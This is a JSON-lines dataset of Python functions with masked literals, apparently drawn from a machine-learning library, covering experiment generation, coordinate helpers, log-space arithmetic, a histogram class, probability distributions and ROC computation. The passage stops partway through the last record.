_generateMetricSpecString(<EOL>inferenceElement=InferenceElement.classification,<EOL>metric=\"<STR_LIT>\",<EOL>params=options[\"<STR_LIT>\"])<EOL>optimizeMetricLabel = \"<STR_LIT>\"<EOL>metricSpecStrings.append(optimizeMetricSpec)<EOL><DEDENT><DEDENT>if options['<STR_LIT>']:<EOL><INDENT>for i in range(len(metricSpecStrings)):<EOL><INDENT>metricSpecStrings[i] = metricSpecStrings[i].replace(<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>optimizeMetricLabel = optimizeMetricLabel.replace(<EOL>\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>return metricSpecStrings, optimizeMetricLabel<EOL>", "docstring": "Generates the Metrics for a given InferenceType\n\n    Parameters:\n    -------------------------------------------------------------------------\n    options: ExpGenerator options\n    retval: (metricsList, optimizeMetricLabel)\n              metricsList: list of metric string names\n              optimizeMetricLabel: Name of the metric which to optimize over", "id": "f17601:m20"}
{"signature": "def _generateExtraMetricSpecs(options):", "body": "_metricSpecSchema = {'<STR_LIT>': {}}<EOL>results = []<EOL>for metric in options['<STR_LIT>']:<EOL><INDENT>for propertyName in list(_metricSpecSchema['<STR_LIT>'].keys()):<EOL><INDENT>_getPropertyValue(_metricSpecSchema, propertyName, metric)<EOL><DEDENT>specString, label = _generateMetricSpecString(<EOL>field=metric['<STR_LIT>'],<EOL>metric=metric['<STR_LIT>'],<EOL>params=metric['<STR_LIT>'],<EOL>inferenceElement=metric['<STR_LIT>'],<EOL>returnLabel=True)<EOL>if metric['<STR_LIT>']:<EOL><INDENT>options['<STR_LIT>'].append(label)<EOL><DEDENT>results.append(specString)<EOL><DEDENT>return results<EOL>", "docstring": "Generates the non-default metrics specified by the expGenerator params", "id": "f17601:m21"}
{"signature": "def _getPredictedField(options):", "body": "if not options['<STR_LIT>'] ornot options['<STR_LIT>']['<STR_LIT>']:<EOL><INDENT>return None, None<EOL><DEDENT>predictedField = options['<STR_LIT>']['<STR_LIT>']<EOL>predictedFieldInfo = None<EOL>includedFields = options['<STR_LIT>']<EOL>for info in includedFields:<EOL><INDENT>if info['<STR_LIT>'] == predictedField:<EOL><INDENT>predictedFieldInfo = info<EOL>break<EOL><DEDENT><DEDENT>if predictedFieldInfo is None:<EOL><INDENT>raise ValueError(<EOL>\"<STR_LIT>\" % predictedField<EOL>)<EOL><DEDENT>predictedFieldType = predictedFieldInfo['<STR_LIT>']<EOL>return predictedField, predictedFieldType<EOL>", "docstring": "Gets the predicted field and it's datatype from the options dictionary\n\n    Returns: (predictedFieldName, predictedFieldType)", "id": "f17601:m22"}
{"signature": "def _generateInferenceArgs(options, tokenReplacements):", "body": "inferenceType = options['<STR_LIT>']<EOL>optionInferenceArgs = options.get('<STR_LIT>', None)<EOL>resultInferenceArgs = {}<EOL>predictedField = _getPredictedField(options)[<NUM_LIT:0>]<EOL>if inferenceType in (InferenceType.TemporalNextStep,<EOL>InferenceType.TemporalAnomaly):<EOL><INDENT>assert predictedField,  \"<STR_LIT>\"\"<STR_LIT>\"% inferenceType<EOL><DEDENT>if optionInferenceArgs:<EOL><INDENT>if options['<STR_LIT>']:<EOL><INDENT>altOptionInferenceArgs = copy.deepcopy(optionInferenceArgs)<EOL>altOptionInferenceArgs['<STR_LIT>'] = '<STR_LIT>'<EOL>resultInferenceArgs = pprint.pformat(altOptionInferenceArgs)<EOL>resultInferenceArgs = resultInferenceArgs.replace(\"<STR_LIT>\",<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>resultInferenceArgs = pprint.pformat(optionInferenceArgs)<EOL><DEDENT><DEDENT>tokenReplacements['<STR_LIT>'] = resultInferenceArgs<EOL>tokenReplacements['<STR_LIT>'] = predictedField<EOL>", "docstring": "Generates the token substitutions related to the predicted field\n    and the supplemental arguments for prediction", "id": "f17601:m23"}
{"signature": "def expGenerator(args):", "body": "<EOL>parser = OptionParser()<EOL>parser.set_usage(\"<STR_LIT>\" +\"<STR_LIT>\" +\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", dest = \"<STR_LIT:description>\",<EOL>help = \"<STR_LIT>\"\"<STR_LIT>\"\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", dest = '<STR_LIT>',<EOL>help = \"<STR_LIT>\"\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>dest = '<STR_LIT>',<EOL>default = '<STR_LIT>',<EOL>help = \"<STR_LIT>\"\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>action=\"<STR_LIT:store_true>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\", dest = '<STR_LIT:version>', default='<STR_LIT>',<EOL>help = \"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>parser.add_option(\"<STR_LIT>\",<EOL>dest = \"<STR_LIT>\", default=None,<EOL>help = \"<STR_LIT>\"\"<STR_LIT>\"<EOL>)<EOL>(options, remainingArgs) = parser.parse_args(args)<EOL>if len(remainingArgs) > <NUM_LIT:0>:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>_makeUsageErrorStr(\"<STR_LIT>\" %('<STR_LIT:U+0020>'.join(remainingArgs),), parser.get_usage()))<EOL><DEDENT>activeOptions = [x for x in ('<STR_LIT:description>', '<STR_LIT>') if getattr(options, x) != None]<EOL>if len(activeOptions) > <NUM_LIT:1>:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>_makeUsageErrorStr((\"<STR_LIT>\" +\"<STR_LIT>\") % (activeOptions,),<EOL>parser.get_usage()))<EOL><DEDENT>if options.showSchema:<EOL><INDENT>_handleShowSchemaOption()<EOL><DEDENT>elif options.description:<EOL><INDENT>_handleDescriptionOption(options.description, options.outDir,<EOL>parser.get_usage(), hsVersion=options.version,<EOL>claDescriptionTemplateFile = options.claDescriptionTemplateFile)<EOL><DEDENT>elif options.descriptionFromFile:<EOL><INDENT>_handleDescriptionFromFileOption(options.descriptionFromFile,<EOL>options.outDir, parser.get_usage(), hsVersion=options.version,<EOL>claDescriptionTemplateFile = options.claDescriptionTemplateFile)<EOL><DEDENT>else:<EOL><INDENT>raise _InvalidCommandArgException(<EOL>_makeUsageErrorStr(\"<STR_LIT>\"<EOL>\"<STR_LIT>\", parser.get_usage()))<EOL><DEDENT>", "docstring": "Parses, validates, and executes command-line options;\n\n    On success: Performs requested operation and exits program normally\n\n    On Error:   Dumps exception/error info in JSON format to stdout and exits the\n                program with non-zero status.", "id": "f17601:m24"}
{"signature": "def __init__(self, dirPath, reason):", "body": "super(_CreateDirectoryException, self).__init__(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\") % (str(dirPath), str(reason)))<EOL>self.reason = reason<EOL>", "docstring": "dirPath:    the path that we attempted to create for experiment files\n\nreason:     any object that can be converted to a string that explains\n            the reason (may be an exception)", "id": "f17601:c1:m0"}
{"signature": "def __init__(self, problem, precursor):", "body": "super(_ErrorReportingException, self).__init__(<EOL>(\"<STR_LIT>\" +\"<STR_LIT>\")% (problem, precursor))<EOL>", "docstring": "problem:    a string-convertible object that describes the problem\n            experienced by the error-reporting funciton.\n\nprecursor:  a string-convertible object that explains\n            the original error that the error-reporting function\n            was attempting to report when it encountered its own failure.", "id": "f17601:c4:m0"}
{"signature": "def coordinatesFromIndex(index, dimensions):", "body": "coordinates = [<NUM_LIT:0>] * len(dimensions)<EOL>shifted = index<EOL>for i in xrange(len(dimensions) - <NUM_LIT:1>, <NUM_LIT:0>, -<NUM_LIT:1>):<EOL><INDENT>coordinates[i] = shifted % dimensions[i]<EOL>shifted = shifted / dimensions[i]<EOL><DEDENT>coordinates[<NUM_LIT:0>] = shifted<EOL>return coordinates<EOL>", "docstring": "Translate an index into coordinates, using the given coordinate system.\n\nSimilar to ``numpy.unravel_index``.\n\n:param index: (int) The index of the point. The coordinates are expressed as a \n       single index by using the dimensions as a mixed radix definition. For \n       example, in dimensions 42x10, the point [1, 4] is index \n       1*420 + 4*10 = 460.\n\n:param dimensions (list of ints) The coordinate system.\n\n:returns: (list) of coordinates of length ``len(dimensions)``.", "id": "f17602:m0"}
{"signature": "def indexFromCoordinates(coordinates, dimensions):", "body": "index = <NUM_LIT:0><EOL>for i, dimension in enumerate(dimensions):<EOL><INDENT>index *= dimension<EOL>index += coordinates[i]<EOL><DEDENT>return index<EOL>", "docstring": "Translate coordinates into an index, using the given coordinate system.\n\nSimilar to ``numpy.ravel_multi_index``.\n\n:param coordinates: (list of ints) A list of coordinates of length \n       ``dimensions.size()``.\n\n:param dimensions: (list of ints) The coordinate system.\n\n:returns: (int) The index of the point. The coordinates are expressed as a \n          single index by using the dimensions as a mixed radix definition. \n          For example, in dimensions 42x10, the point [1, 4] is index \n          1*420 + 4*10 = 460.", "id": "f17602:m1"}
{"signature": "def neighborhood(centerIndex, radius, dimensions):", "body": "centerPosition = coordinatesFromIndex(centerIndex, dimensions)<EOL>intervals = []<EOL>for i, dimension in enumerate(dimensions):<EOL><INDENT>left = max(<NUM_LIT:0>, centerPosition[i] - radius)<EOL>right = min(dimension - <NUM_LIT:1>, centerPosition[i] + radius)<EOL>intervals.append(xrange(left, right + <NUM_LIT:1>))<EOL><DEDENT>coords = numpy.array(list(itertools.product(*intervals)))<EOL>return numpy.ravel_multi_index(coords.T, dimensions)<EOL>", "docstring": "Get the points in the neighborhood of a point.\n\nA point's neighborhood is the n-dimensional hypercube with sides ranging\n[center - radius, center + radius], inclusive. For example, if there are two\ndimensions and the radius is 3, the neighborhood is 6x6. Neighborhoods are\ntruncated when they are near an edge.\n\nThis is designed to be fast. In C++ it's fastest to iterate through neighbors\none by one, calculating them on-demand rather than creating a list of them.\nBut in Python it's faster to build up the whole list in batch via a few calls\nto C code rather than calculating them on-demand with lots of calls to Python\ncode.\n\n:param centerIndex: (int) The index of the point. The coordinates are \n       expressed as a single index by using the dimensions as a mixed radix \n       definition. For example, in dimensions 42x10, the point [1, 4] is index \n       1*420 + 4*10 = 460.\n\n:param radius: (int) The radius of this neighborhood about the \n       ``centerIndex``.\n\n:param dimensions: (indexable sequence) The dimensions of the world outside \n       this neighborhood.\n\n:returns: (numpy array) The points in the neighborhood, including \n          ``centerIndex``.", "id": "f17602:m2"}
{"signature": "def wrappingNeighborhood(centerIndex, radius, dimensions):", "body": "centerPosition = coordinatesFromIndex(centerIndex, dimensions)<EOL>intervals = []<EOL>for i, dimension in enumerate(dimensions):<EOL><INDENT>left = centerPosition[i] - radius<EOL>right = min(centerPosition[i] + radius,<EOL>left + dimensions[i] - <NUM_LIT:1>)<EOL>interval = [v % dimension for v in xrange(left, right + <NUM_LIT:1>)]<EOL>intervals.append(interval)<EOL><DEDENT>coords = numpy.array(list(itertools.product(*intervals)))<EOL>return numpy.ravel_multi_index(coords.T, dimensions)<EOL>", "docstring": "Like :meth:`neighborhood`, except that the neighborhood isn't truncated when \nit's near an edge. It wraps around to the other side.\n\n:param centerIndex: (int) The index of the point. The coordinates are \n       expressed as a single index by using the dimensions as a mixed radix \n       definition. For example, in dimensions 42x10, the point [1, 4] is index \n       1*420 + 4*10 = 460.\n\n:param radius: (int) The radius of this neighborhood about the \n       ``centerIndex``.\n\n:param dimensions: (indexable sequence) The dimensions of the world outside \n       this neighborhood.\n\n:returns: (numpy array) The points in the neighborhood, including \n          ``centerIndex``.", "id": "f17602:m3"}
{"signature": "def propose(self, current, r):", "body": "stay = (r.uniform(<NUM_LIT:0>, <NUM_LIT:1>) < self.kernel)<EOL>if stay:<EOL><INDENT>logKernel = numpy.log(self.kernel)<EOL>return current, logKernel, logKernel<EOL><DEDENT>else: <EOL><INDENT>curIndex = self.keyMap[current]<EOL>ri = r.randint(<NUM_LIT:0>, self.nKeys-<NUM_LIT:1>)<EOL>logKernel = numpy.log(<NUM_LIT:1.0> - self.kernel)<EOL>lp = logKernel + self.logp<EOL>if ri < curIndex: return self.keys[ri], lp, lp<EOL>else: return self.keys[ri+<NUM_LIT:1>], lp, lp<EOL><DEDENT>", "docstring": "Generates a random sample from the discrete probability distribution and\n        returns its value, the log of the probability of sampling that value and the\n        log of the probability of sampling the current value (passed in).", "id": "f17603:c5:m1"}
{"signature": "def propose(self, current, r):", "body": "curLambda = current + self.offset<EOL>x, logProb = PoissonDistribution(curLambda).sample(r)<EOL>logBackward = PoissonDistribution(x+self.offset).logDensity(current)<EOL>return x, logProb, logBackward<EOL>", "docstring": "Generates a random sample from the Poisson probability distribution with\n        with location and scale parameter equal to the current value (passed in).\n        Returns the value of the random sample, the log of the probability of\n        sampling that value, and the log of the probability of sampling the current\n        value if the roles of the new sample and the current sample were reversed\n        (the log of the backward proposal probability).", "id": "f17603:c7:m1"}
{"signature": "def lscsum(lx, epsilon=None):", "body": "lx = numpy.asarray(lx)<EOL>base = lx.max()<EOL>if numpy.isinf(base):<EOL><INDENT>return base<EOL><DEDENT>if (epsilon is not None) and (base < epsilon):<EOL><INDENT>return epsilon<EOL><DEDENT>x = numpy.exp(lx - base)<EOL>ssum = x.sum()<EOL>result = numpy.log(ssum) + base<EOL>return result<EOL>", "docstring": "Accepts log-values as input, exponentiates them, computes the sum,\nthen converts the sum back to log-space and returns the result.\nHandles underflow by rescaling so that the largest values is exactly 1.0.", "id": "f17604:m1"}
{"signature": "def lscsum0(lx):", "body": "<EOL>lx = numpy.asarray(lx)<EOL>bases = lx.max(<NUM_LIT:0>) <EOL>x = numpy.exp(lx - bases)<EOL>ssum = x.sum(<NUM_LIT:0>)<EOL>result = numpy.log(ssum) + bases<EOL>try:<EOL><INDENT>conventional = numpy.log(numpy.exp(lx).sum(<NUM_LIT:0>))<EOL>if not similar(result, conventional):<EOL><INDENT>if numpy.isinf(conventional).any() and not numpy.isinf(result).any():<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>import sys<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>print(result, file=sys.stderr)<EOL>print(\"<STR_LIT>\", file=sys.stderr)<EOL>print(conventional, file=sys.stderr)<EOL><DEDENT><DEDENT><DEDENT>except FloatingPointError as e:<EOL><INDENT>pass<EOL><DEDENT>return result<EOL>", "docstring": "Accepts log-values as input, exponentiates them, sums down the rows\n(first dimension), then converts the sum back to log-space and returns the result.\nHandles underflow by rescaling so that the largest values is exactly 1.0.", "id": "f17604:m2"}
{"signature": "def normalize(lx):", "body": "lx = numpy.asarray(lx)<EOL>base = lx.max()<EOL>x = numpy.exp(lx - base)<EOL>result = x / x.sum()<EOL>conventional = (numpy.exp(lx) / numpy.exp(lx).sum())<EOL>assert similar(result, conventional)<EOL>return result<EOL>", "docstring": "Accepts log-values as input, exponentiates them,\nnormalizes and returns the result.\nHandles underflow by rescaling so that the largest values is exactly 1.0.", "id": "f17604:m3"}
{"signature": "def nsum0(lx):", "body": "lx = numpy.asarray(lx)<EOL>base = lx.max()<EOL>x = numpy.exp(lx - base)<EOL>ssum = x.sum(<NUM_LIT:0>)<EOL>result = ssum / ssum.sum()<EOL>conventional = (numpy.exp(lx).sum(<NUM_LIT:0>) / numpy.exp(lx).sum())<EOL>assert similar(result, conventional)<EOL>return result<EOL>", "docstring": "Accepts log-values as input, exponentiates them, sums down the rows\n(first dimension), normalizes and returns the result.\nHandles underflow by rescaling so that the largest values is exactly 1.0.", "id": "f17604:m4"}
{"signature": "def lnsum0(lx):", "body": "lx = numpy.asarray(lx)<EOL>base = lx.max()<EOL>x = numpy.exp(lx - base)<EOL>ssum = x.sum(<NUM_LIT:0>)<EOL>normalized = nsum0(lx)<EOL>result = numpy.log(normalized)<EOL>conventional = numpy.log(numpy.exp(lx).sum(<NUM_LIT:0>) / numpy.exp(lx).sum())<EOL>assert similar(result, conventional)<EOL>return result<EOL>", "docstring": "Accepts log-values as input, exponentiates them, sums down the rows\n(first dimension), normalizes, then converts the sum back to\nlog-space and returns the result.\nHandles underflow by rescaling so that the largest values is exactly 1.0.", "id": "f17604:m5"}
{"signature": "def logSumExp(A, B, out=None):", "body": "if out is None:<EOL><INDENT>out = numpy.zeros(A.shape)<EOL><DEDENT>indicator1 = A >= B<EOL>indicator2 = numpy.logical_not(indicator1)<EOL>out[indicator1] = A[indicator1] + numpy.log1p(numpy.exp(B[indicator1]-A[indicator1]))<EOL>out[indicator2]  = B[indicator2] + numpy.log1p(numpy.exp(A[indicator2]-B[indicator2]))<EOL>return out<EOL>", "docstring": "returns log(exp(A) + exp(B)). A and B are numpy arrays", "id": "f17604:m6"}
{"signature": "def logDiffExp(A, B, out=None):", "body": "if out is None:<EOL><INDENT>out = numpy.zeros(A.shape)<EOL><DEDENT>indicator1 = A >= B<EOL>assert indicator1.all(), \"<STR_LIT>\"<EOL>out[indicator1] = A[indicator1] + numpy.log(<NUM_LIT:1> - numpy.exp(B[indicator1]-A[indicator1]))<EOL>return out<EOL>", "docstring": "returns log(exp(A) - exp(B)). A and B are numpy arrays. values in A should be\n    greater than or equal to corresponding values in B", "id": "f17604:m7"}
{"signature": "def pickByDistribution(distribution, r=None):", "body": "if r is None:<EOL><INDENT>r = random<EOL><DEDENT>x = r.uniform(<NUM_LIT:0>, sum(distribution))<EOL>for i, d in enumerate(distribution):<EOL><INDENT>if x <= d:<EOL><INDENT>return i<EOL><DEDENT>x -= d<EOL><DEDENT>", "docstring": "Pick a value according to the provided distribution.\n\nExample:\n\n::\n\n  pickByDistribution([.2, .1])\n\nReturns 0 two thirds of the time and 1 one third of the time.\n\n:param distribution: Probability distribution. Need not be normalized.\n:param r: Instance of random.Random. Uses the system instance if one is\n       not provided.", "id": "f17606:m0"}
{"signature": "def Indicator(pos, size, dtype):", "body": "x = numpy.zeros(size, dtype=dtype)<EOL>x[pos] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Returns an array of length size and type dtype that is everywhere 0,\nexcept in the index in pos.\n\n:param pos: (int) specifies the position of the one entry that will be set.\n:param size: (int) The total size of the array to be returned.\n:param dtype: The element type (compatible with NumPy array())\n       of the array to be returned.\n:returns: (list) of length ``size`` and element type ``dtype``.", "id": "f17606:m1"}
{"signature": "def MultiArgMax(x):", "body": "m = x.max()<EOL>return (i for i, v in enumerate(x) if v == m)<EOL>", "docstring": "Get tuple (actually a generator) of indices where the max value of\narray x occurs. Requires that x have a max() method, as x.max()\n(in the case of NumPy) is much faster than max(x).\nFor a simpler, faster argmax when there is only a single maximum entry,\nor when knowing only the first index where the maximum occurs,\ncall argmax() on a NumPy array.\n\n:param x: Any sequence that has a max() method.\n:returns: Generator with the indices where the max value occurs.", "id": "f17606:m2"}
{"signature": "def Any(sequence):", "body": "return bool(reduce(lambda x, y: x or y, sequence, False))<EOL>", "docstring": "Tests much faster (30%) than bool(sum(bool(x) for x in sequence)).\n\n:returns: (bool) true if any element of the sequence satisfies True. \n\n:param sequence: Any sequence whose elements can be evaluated as booleans.", "id": "f17606:m3"}
{"signature": "def All(sequence):", "body": "return bool(reduce(lambda x, y: x and y, sequence, True))<EOL>", "docstring": ":param sequence: Any sequence whose elements can be evaluated as booleans.\n:returns: true if all elements of the sequence satisfy True and x.", "id": "f17606:m4"}
{"signature": "def Product(sequence):", "body": "return reduce(lambda x, y: x * y, sequence)<EOL>", "docstring": "Returns the product of the elements of the sequence.\nUse numpy.prod() if the sequence is an array, as it will be faster.\nRemember that the product of many numbers may rapidly overflow or\nunderflow the numeric precision of the computer.\nUse a sum of the logs of the sequence elements instead when precision\nshould be maintained.\n\n:param sequence: Any sequence whose elements can be multiplied by their\n          neighbors.\n:returns: A single value that is the product of all the sequence elements.", "id": "f17606:m5"}
{"signature": "def MultiIndicator(pos, size, dtype):", "body": "x = numpy.zeros(size, dtype=dtype)<EOL>if hasattr(pos, '<STR_LIT>'):<EOL><INDENT>for i in pos: x[i] = <NUM_LIT:1><EOL><DEDENT>else: x[pos] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Returns an array of length size and type dtype that is everywhere 0,\nexcept in the indices listed in sequence pos.\n\n:param pos:   A single integer or sequence of integers that specify\n       the position of ones to be set.\n:param size:  The total size of the array to be returned.\n:param dtype: The element type (compatible with NumPy array())\n       of the array to be returned.\n:returns: An array of length size and element type dtype.", "id": "f17606:m6"}
{"signature": "def Distribution(pos, size, counts, dtype):", "body": "x = numpy.zeros(size, dtype=dtype)<EOL>if hasattr(pos, '<STR_LIT>'):<EOL><INDENT>total = <NUM_LIT:0><EOL>for i in pos:<EOL><INDENT>total += counts[i]<EOL><DEDENT>total = float(total)<EOL>for i in pos:<EOL><INDENT>x[i] = counts[i]/total<EOL><DEDENT><DEDENT>else: x[pos] = <NUM_LIT:1><EOL>return x<EOL>", "docstring": "Returns an array of length size and type dtype that is everywhere 0,\nexcept in the indices listed in sequence pos.  The non-zero indices\ncontain a normalized distribution based on the counts.\n\n\n:param pos:    A single integer or sequence of integers that specify\n        the position of ones to be set.\n:param size:   The total size of the array to be returned.\n:param counts: The number of times we have observed each index.\n:param dtype:  The element type (compatible with NumPy array())\n        of the array to be returned.\n:returns: An array of length size and element type dtype.", "id": "f17606:m7"}
{"signature": "def numRows(self):", "body": "if self.hist_: return self.hist_.nRows()<EOL>else: return <NUM_LIT:0><EOL>", "docstring": "Gets the number of rows in the histogram.\n\n        :returns: Integer number of rows.", "id": "f17606:c0:m1"}
{"signature": "def numColumns(self):", "body": "if self.hist_: return self.hist_.nCols()<EOL>else: return <NUM_LIT:0><EOL>", "docstring": ":return: (int) number of columns", "id": "f17606:c0:m2"}
{"signature": "def grow(self, rows, cols):", "body": "if not self.hist_:<EOL><INDENT>self.hist_ = SparseMatrix(rows, cols)<EOL>self.rowSums_ = numpy.zeros(rows, dtype=dtype)<EOL>self.colSums_ = numpy.zeros(cols, dtype=dtype)<EOL>self.hack_ = None<EOL><DEDENT>else:<EOL><INDENT>oldRows = self.hist_.nRows()<EOL>oldCols = self.hist_.nCols()<EOL>nextRows = max(oldRows, rows)<EOL>nextCols = max(oldCols, cols)<EOL>if (oldRows < nextRows) or (oldCols < nextCols):<EOL><INDENT>self.hist_.resize(nextRows, nextCols)<EOL>if oldRows < nextRows:<EOL><INDENT>oldSums = self.rowSums_<EOL>self.rowSums_ = numpy.zeros(nextRows, dtype=dtype)<EOL>self.rowSums_[<NUM_LIT:0>:len(oldSums)] = oldSums<EOL>self.hack_ = None<EOL><DEDENT>if oldCols < nextCols:<EOL><INDENT>oldSums = self.colSums_<EOL>self.colSums_ = numpy.zeros(nextCols, dtype=dtype)<EOL>self.colSums_[<NUM_LIT:0>:len(oldSums)] = oldSums<EOL>self.hack_ = None<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Grows the histogram to have rows rows and cols columns.\nMust not have been initialized before, or already have the same\nnumber of columns.\nIf rows is smaller than the current number of rows,\ndoes not shrink.\nAlso updates the sizes of the row and column sums.\n\n:param rows: Integer number of rows.\n:param cols: Integer number of columns.", "id": "f17606:c0:m3"}
{"signature": "def updateRow(self, row, distribution):", "body": "self.grow(row+<NUM_LIT:1>, len(distribution))<EOL>self.hist_.axby(row, <NUM_LIT:1>, <NUM_LIT:1>, distribution)<EOL>self.rowSums_[row] += distribution.sum()<EOL>self.colSums_ += distribution<EOL>self.hack_ = None<EOL>", "docstring": "Add distribution to row row.\nDistribution should be an array of probabilities or counts.\n\n:param row:   Integer index of the row to add to.\n              May be larger than the current number of rows, in which case\n              the histogram grows.\n:param distribution: Array of length equal to the number of columns.", "id": "f17606:c0:m4"}
{"signature": "def inferRow(self, distribution):", "body": "<EOL>return self.hist_ * (distribution / self.colSums_)<EOL>", "docstring": "Computes the sumProp probability of each row given the input probability\nof each column. Normalizes the distribution in each column on the fly.\n\nThe semantics are as follows: If the distribution is P(col|e) where e is\nthe evidence is col is the column, and the CPD represents P(row|col), then\nthis calculates sum(P(col|e) P(row|col)) = P(row|e).\n\n:param distribution: Array of length equal to the number of columns.\n:returns: array of length equal to the number of rows.", "id": "f17606:c0:m5"}
{"signature": "def inferRowEvidence(self, distribution):", "body": "<EOL>return (self.hist_ * distribution) / self.rowSums_<EOL>", "docstring": "Computes the probability of evidence given each row from the probability\nof evidence given each column.  Essentially, this just means that it sums\nprobabilities over (normalized) rows.  Normalizes the distribution over\neach row on the fly.\n\nThe semantics are as follows:  If the distribution is P(e|col) where e is\nevidence and col is the column, and the CPD is of P(col|row), then this\ncalculates sum(P(e|col) P(col|row)) = P(e|row).\n\n:param distribution: Array of length equal to the number of columns.\n:returns: array of length equal to the number of rows.", "id": "f17606:c0:m6"}
{"signature": "def inferRowCompat(self, distribution):", "body": "if self.hack_ is None:<EOL><INDENT>self.clean_outcpd()<EOL><DEDENT>return self.hack_.vecMaxProd(distribution)<EOL>", "docstring": "Equivalent to the category inference of zeta1.TopLevel.\nComputes the max_prod (maximum component of a component-wise multiply)\nbetween the rows of the histogram and the incoming distribution.\nMay be slow if the result of clean_outcpd() is not valid.\n\n:param distribution: Array of length equal to the number of columns.\n:returns: array of length equal to the number of rows.", "id": "f17606:c0:m8"}
{"signature": "def clean_outcpd(self):", "body": "m = self.hist_.toDense()<EOL>for j in xrange(m.shape[<NUM_LIT:1>]): <EOL><INDENT>cmax = m[:,j].max()<EOL>if cmax:<EOL><INDENT>m[:,j] = numpy.array(m[:,j] == cmax, dtype=dtype)<EOL><DEDENT><DEDENT>self.hack_ = SparseMatrix(<NUM_LIT:0>, self.hist_.nCols())<EOL>for i in xrange(m.shape[<NUM_LIT:0>]):<EOL><INDENT>self.hack_.addRow(m[i,:])<EOL><DEDENT>", "docstring": "Hack to act like clean_outcpd on zeta1.TopLevelNode.\n        Take the max element in each to column, set it to 1, and set all the\n        other elements to 0.\n        Only called by inferRowMaxProd() and only needed if an updateRow()\n        has been called since the last clean_outcpd().", "id": "f17606:c0:m9"}
{"signature": "def logFactorial(x):", "body": "return lgamma(x + <NUM_LIT:1.0>)<EOL>", "docstring": "Approximation to the log of the factorial function.", "id": "f17608:m0"}
{"signature": "def sample(self, rgen):", "body": "rf = rgen.uniform(<NUM_LIT:0>, self.sum)<EOL>index = bisect.bisect(self.cdf, rf)<EOL>return self.keys[index], numpy.log(self.pmf[index])<EOL>", "docstring": "Generates a random sample from the discrete probability distribution\n        and returns its value and the log of the probability of sampling that value.", "id": "f17608:c2:m1"}
{"signature": "def logProbability(self, distn):", "body": "x = numpy.asarray(distn)<EOL>n = x.sum()<EOL>return (logFactorial(n) - numpy.sum([logFactorial(k) for k in x]) +<EOL>numpy.sum(x * numpy.log(self.dist.pmf)))<EOL>", "docstring": "Form of distribution must be an array of counts in order of self.keys.", "id": "f17608:c3:m4"}
{"signature": "def sample(self, rgen):", "body": "x = rgen.poisson(self.lambdaParameter)<EOL>return x, self.logDensity(x)<EOL>", "docstring": "Generates a random sample from the Poisson probability distribution and\n        returns its value and the log of the probability of sampling that value.", "id": "f17608:c4:m1"}
{"signature": "def ROCCurve(y_true, y_score):", "body": "y_true = np.ravel(y_true)<EOL>classes = np.unique(y_true)<EOL>if classes.shape[<NUM_LIT:0>] != <NUM_LIT:2>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>y_score = np.ravel(y_score)<EOL>n_pos = float(np.sum(y_true == classes[<NUM_LIT:1>]))  <EOL>n_neg = float(np.sum(y_true == classes[<NUM_LIT:0>]))  <EOL>thresholds = np.unique(y_score)<EOL>neg_value, pos_value = classes[<NUM_LIT:0>], classes[<NUM_LIT:1>]<EOL>tpr = np.empty(thresholds.size, dtype=np.float)  <EOL>fpr = np.empty(thresholds.size, dtype=np.float)  <EOL>current_pos_count = current_neg_count = sum_pos = sum_neg = idx = <NUM_LIT:0><EOL>signal = np.c_[y_score, y_true]<EOL>sorted_signal = signal[signal[:, <NUM_LIT:0>].argsort(), :][::-<NUM_LIT:1>]<EOL>last_score = sorted_signal[<NUM_LIT:0>][<NUM_LIT:0>]<EOL>for score, value in sorted_signal:<EOL><INDENT>if score == last_score:<EOL><INDENT>if value == pos_value:<EOL><INDENT>current_pos_count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>current_neg_count += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>tpr[idx] = (sum_pos + current_pos_count) / n_pos<EOL>fpr[idx] = (sum_neg + current_neg_count) / n_neg<EOL>sum_pos += current_pos_count<EOL>sum_neg += current_neg_count<EOL>current_pos_count = <NUM_LIT:1> if value == pos_value else <NUM_LIT:0><EOL>current_neg_count = <NUM_LIT:1> if value == neg_value else <NUM_LIT:0><EOL>idx += <NUM_LIT:1><EOL>last_score = score<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tpr[-<NUM_LIT:1>] = (sum_pos + current_pos_count) / n_pos<EOL>fpr[-<NUM_LIT:1>] = (sum_neg + current_neg_count) / n_neg<EOL><DEDENT>if fpr.shape[<NUM_LIT:0>] == <NUM_LIT:2>:<EOL><INDENT>fpr = np.array([<NUM_LIT:0.0>, fpr[<NUM_LIT:0>], fpr[<NUM_LIT:1>]])<EOL>tpr = np.array([<NUM_LIT:0.0>, tpr[<NUM_LIT:0>], tpr[<NUM_LIT:1>]])<EOL><DEDENT>elif fpr.shape[<NUM_LIT:0>] == <NUM_LIT:1>:<EOL><INDENT>fpr = np.array([<NUM_LIT:0.0>, fpr[<NUM_LIT:0>], <NUM_LIT:1.0>])<EOL>tpr = np.array([<NUM_LIT:0.0>, tpr[<NUM_LIT:0>], <NUM_LIT:1.0>])<EOL><DEDENT>return fpr, tpr, thresholds<EOL>", "docstring": "compute Receiver operating characteristic (ROC)\n\n    Note: this implementation is restricted to the binary classification task.\n\n    Parameters\n    ----------\n\n    y_true : array, shape = [n_samples]\n        true binary labels\n\n    y_score : array, shape = [n_samples]\n        target scores, can either be probability 